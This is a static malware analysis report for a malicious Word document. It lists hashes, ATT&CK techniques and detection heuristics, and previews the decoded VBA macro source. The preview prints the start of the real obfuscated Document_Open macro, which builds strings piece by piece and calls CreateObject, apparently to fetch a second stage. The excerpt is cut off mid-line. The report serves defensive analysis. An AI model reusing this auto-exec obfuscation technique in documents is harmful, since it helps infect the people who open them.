Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18cf5795c2208d33…

MALICIOUS

Office (OLE)

1.75 MB Created: 2018-02-10 17:37:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 7a2ff07283ddc69d9f34cfa0d3c936d4 SHA-1: db6376bfd590285e271387c81b676281a7a80abb SHA-256: 18cf5795c2208d330bd297c18445a9e25238dd7f28a1a6ef55e2a9239f5748cd
204 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample contains VBA macros, including a Document_Open macro that executes code using CreateObject. This macro is heavily obfuscated, but the presence of Document_Open and CreateObject suggests an attempt to download and execute a second-stage payload. The document body prompts the user to 'Enable editing', a common social engineering tactic to bypass macro security.

Heuristics 7

  • ClamAV: Doc.Malware.Valyria-7570499-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7570499-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 300302 bytes
SHA-256: fab85984bf23134463c6d59682cfdb476fbb01e276b5f23c15e8e22d0411d4c4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 372 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"

Option Explicit

Sub Document_Open()
On Error Resume Next

rDmBD

Dim gkIKl As String
gkIKl = wqLUm(qJYOD)
Dim yvWcI As String
yvWcI = MUxLa(Fvxbh(11730, 11649))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14368, 14403)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(17028, 17142)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(19850, 19939)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18044, 17932)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12062, 12138)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(19850, 19939)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(13841, 13951)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(13525, 13490)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12448, 12430)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12128, 12070)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(19850, 19939)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(16992, 16908)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18706, 18807)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(11730, 11649)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(17255, 17182)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14855, 14964)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12062, 12138)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18706, 18807)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(16620, 16513)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18679, 18616)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(20950, 20916)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14467, 14569)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(18706, 18807)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(14368, 14403)))
yvWcI = kVDlQ(yvWcI, MUxLa(Fvxbh(12062, 12138)))
Dim UQduw As Object
Set UQduw = CreateObject(yvWcI)
Dim PxWyK As Object
Dim LyfWX As String
LyfWX = ""
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19072, 19139)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20219, 20161)))
LyfWX = kVDlQ(LyfWX, "\")
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11449, 11497)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17028, 17142)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14130, 14173)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(13525, 13490)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17028, 17142)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(16620, 16513)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(12062, 12138)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290)))
LyfWX = kVDlQ(LyfWX, "\")
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(16591, 16526)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20663, 20732)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19850, 19939)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17719, 17786)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(16992, 16908)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14845, 14730)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14259, 14290)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17028, 17142)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18706, 18807)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20663, 20732)))
LyfWX = kVDlQ(LyfWX, "\")
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18706, 18807)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(12062, 12138)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18129, 18084)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(18044, 17932)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19072, 19139)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(14130, 14173)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(13841, 13951)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(17172, 17266)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11730, 11649)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(11471, 11403)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(20663, 20732)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(12448, 12430)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(19850, 19939)))
LyfWX = kVDlQ(LyfWX, MUxLa(Fvxbh(13841
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.